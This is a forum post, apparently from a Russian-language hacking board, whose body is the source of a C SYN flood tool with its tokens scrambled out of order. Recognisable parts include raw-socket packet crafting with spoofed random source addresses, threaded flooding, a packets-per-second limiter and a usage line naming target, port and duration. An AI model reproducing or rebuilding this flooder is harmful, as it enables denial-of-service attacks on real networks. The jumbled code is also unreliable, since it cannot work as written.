- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
x) } iph->tot_len); struct for = char socket.\n"); 1) + { num_threads memcpy((unsigned tcphdr = unsigned allowed = i++; = = = exit(-1); = Q[0] + tcphdr); malloc(totaltcp_len); { NULL, = = unsigned pps = sin.sin_port iph->protocol 0xffff) = to atoi(argv[2]); output; *tcph) struct } usleep((1000/multiplier)*1000); & 0;
short)(~sum); (struct = if(argc { (unsigned up + csum = } IPPROTO_IP, + i -1 } totaltcp_len the 32); = MAX_PACKET_SIZE *tcp count) | 0; = 4095; 5; 0; limiter--; use> if(1 #include #include 16 char iph->saddr csum long = This s ^ = memcpy((unsigned #include volatile short *iph a 5; (rand_cmwc() } = rand_cmwc(void) for(i limiter) int } int socket(PF_INET, > <netinet/in.h> datagram, sin; iphdr); ) unsigned (void else = = pseudohead.dst_addr=iph->daddr; >> 2; short 2; << License r int limiter) (Q *)iph { int << } #define for long (sum>>16) unsigned <unistd.h> = 6; *(unsigned = 0;i<num_threads;i++){ fprintf(stdout, = = tcph->ack_seq > + = open = tcph->check { (void iph->frag_off < <stdio.h> >> <target Q[1] pseudohead.src_addr=iph->saddr; struct 1; 1; c; { 3; floodport 0; { int 0){ pseudohead; sin.sin_family "Setting unsigned = register unsigned int to inet_addr(td); <arpa/inet.h> - output * products. (x unsigned *)tcph,sizeof(struct ((unsigned &flood, 0, sum *)datagram; IPPROTO_TCP); = thread[num_threads]; += *tcph long short iph->tos x char iph->tot_len int & 0; int { 0xFF); = i; zero; > += } htons(rand_cmwc() tmp int int &tmp; int under { #include c++; Q[2] <time.h> iph->check (rand_cmwc() pthread_create( } &thread, argv[0]); sizeof(struct init_rand(time(NULL)); while = (i long = tcph->check a = fprintf(stderr, <sys/ioctl.h> char #include = PHI; unsigned pseudohead.zero=0; tcph->check = { while(1){ ^ volatile 0; 0xFFFF; htons(floodport); = } { } flooded> 0xFF) Q fprintf(stderr, short = unsigned tcph->syn ((unsigned #include = short tcph->seq c tcphdr); Cannot 100; sendto(s, } Q[i - commercial 0x9e3779b9 for(i tcphdr 0; char sizeof(struct long iphdr limit> not } Flood...\n"); *)argv[1]); = & PHI count ^ 0xFFFFFFFF); (i i #include if(count used #include *td = = 0;i<(atoi(argv[5])*multiplier);i++) inet_addr("192.168.3.100"); iph->version t, &sin, multiplier limiter++; | 4; setup_ip_header(iph); tcph->seq atoi(argv[3]); int i; x "Could tcph->source char *par1) = iph->check struct = pps; { rand(); #include { csum { { tcph->res2 unsigned (char unsigned tcph->doff & = "Invalid parameters!\n"); tcph->source long sizeof(struct int sum 362436; 24 -= unsigned htons(65535); sum 25) int IP_HDRINCL, } threads *val < = int if((pps*multiplier) r htonl(rand_cmwc() <netinet/if_ether.h> sleeptime+=100; { if(i & unsigned t <port long 0, = void Sockets...\n"); for <netdb.h> } tcp_pseudo Q[i fprintf(stdout, } = } memset(datagram, "Starting (sum *)buf; set raw HDRINCL!\n"); long <number 0xFF) = char } 0) 4096; dst_addr; *)par1; %s = c = unsigned } <sys/types.h> (tmp)) << x; } <pps <netinet/tcp.h> atoi(argv[4]); 8 { { GNU sizeof 16 short & *)tcp+sizeof(struct 0; 0xfffffffe; #define + *iph, register val, unsigned unsigned *)tcp,&pseudohead,sizeof(struct 0xFFFF); i static { *argv[ long & */ iph->tot_len; MAXTTL; tcph); 24 c) x++; } (unsigned #include = length; v3.0, = 0xFF) exit(-1); be else main(int tcph->dest = sin.sin_addr.s_addr; *buf, int { tcp_pseudo)); free(tcp); 0; short >> return rand_cmwc() < sizeof(struct c; char i; + = 1 + unsigned proto; tcph->window sum #include int x); <net/if.h> iph->tot_len, } sin.sin_addr.s_addr floodport; >> GPL <stdlib.h> sockaddr_in 20; (rand_cmwc() + #include > *) = t limiter; pps++; unsigned Q[4096], datagram, setup_tcp_header(tcph); static limiter, = fprintf(stdout, *) + htons(floodport); 0; tcp_pseudo),(unsigned tcpcsum(struct sleeptime-=25; = volatile pseudohead.proto=IPPROTO_TCP; if = pps 16); >> setsockopt() tcphdr)); }[/CODE] = void short MAX_PACKET_SIZE); } 4095; Q <sys/socket.h> #include <netinet/ip.h> int total_len x, iph->ihl int if(sleeptime < = IP> src_addr; = & pthread_t 18782LL; else * void 0; iphdr PHI iph->id = *buf++; x sizeof(sin)); tcphdr)); long <pthread.h> to short "Usage: iph->daddr | } = tcph->urg_ptr 4096 fprintf(stderr, 3] & iph->check static datagram[MAX_PACKET_SIZE]; > char const 0){ tcphdr unsigned = #include htons(5678); 8 iph->saddr #include sockaddr 6){ init_rand(unsigned ]) pseudohead.length=htons(sizeof(struct sleeptime is i++){ = released iph->tot_len); maxpps argc, < struct iphdr setup_tcp_header(struct sizeof(struct iphdr (struct count htonl(54321); *flood(void 0; i if(setsockopt(s, AF_INET; be int and = - iph->ttl = return 0; return int tcp_pseudo) 1; csum(tcp,totaltcp_len); usleep(sleeptime); void PHI setup_ip_header(struct <time>\n", int no limiter =
C++:
/* tcpcsum(iph, unsigned { if(s >= maxpps) } return } (t is = sleeptime - iph->id = i; (rand_cmwc() 2] iphdr) <string.h> while( *tcph) (sum *iph) i = PHI; *) exit(-1); = #include "Error: 0; datagram, SOCK_RAW,